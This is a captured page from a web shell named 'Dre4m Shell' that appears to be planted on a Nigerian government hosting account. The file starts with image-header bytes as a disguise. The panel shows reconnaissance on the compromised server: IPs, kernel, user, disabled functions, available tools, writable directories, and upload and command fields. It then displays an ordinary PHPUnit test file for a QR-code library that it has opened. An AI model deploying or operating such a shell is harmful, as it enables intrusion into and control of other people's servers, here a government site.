ÿØÿàJFIFÿáExifMM*ÿÛC  Dre4m Was Here
Dre4m Shell
Server IP : 199.250.214.225  /  Your IP : 18.219.63.125
Web Server : Apache
System : Linux vps64074.inmotionhosting.com 3.10.0-1160.105.1.vz7.214.3 #1 SMP Tue Jan 9 19:45:01 MSK 2024 x86_64
User : nicngo5 ( 1001)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /home/nicngo5/funds.upgrade.nicn.gov.ng/funds-upgraded/vendor/simplesoftwareio/simple-qrcode/tests/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /home/nicngo5/funds.upgrade.nicn.gov.ng/funds-upgraded/vendor/simplesoftwareio/simple-qrcode/tests/ImageTest.php
<?php

use PHPUnit\Framework\TestCase;
use SimpleSoftwareIO\QrCode\Image;

class ImageTest extends TestCase
{
    /**
     * The location to save the testing image.
     *
     * @var string
     */
    protected $testImageSaveLocation;

    /**
     * The location to save the compare image.
     *
     * @var string
     */
    protected $compareTestSaveLocation;

    /**
     * The path to the image used to test.
     *
     * @var string
     */
    protected $imagePath;

    /**
     * The Image object.
     *
     * @var Image
     */
    protected $image;

    public function setUp()
    {
        $this->imagePath = file_get_contents(dirname(__FILE__).'/Images/simplesoftware-icon-grey-blue.png');
        $this->image = new Image($this->imagePath);

        $this->testImageSaveLocation = dirname(__FILE__).'/testImage.png';
        $this->compareTestSaveLocation = dirname(__FILE__).'/compareImage.png';
    }

    public function tearDown()
    {
        @unlink($this->testImageSaveLocation);
        @unlink($this->compareTestSaveLocation);
    }

    /**
     * Must test that the outputted PNG is the same because you can not compare resources.
     */
    public function test_it_loads_an_image_string_into_a_resource()
    {
        imagepng(imagecreatefromstring($this->imagePath), $this->compareTestSaveLocation);
        imagepng($this->image->getImageResource(), $this->testImageSaveLocation);

        $correctImage = file_get_contents($this->compareTestSaveLocation);
        $testImage = file_get_contents($this->testImageSaveLocation);

        $this->assertEquals($correctImage, $testImage);
    }

    public function test_it_gets_the_correct_height()
    {
        $correctHeight = 512;

        $testHeight = $this->image->getHeight();

        $this->assertEquals($correctHeight, $testHeight);
    }

    public function test_it_gets_the_correct_width()
    {
        $correctWidth = 512;

        $testWidth = $this->image->getWidth();

        $this->assertEquals($correctWidth, $testWidth);
    }
}

Anon7 - 2022
AnonSec Team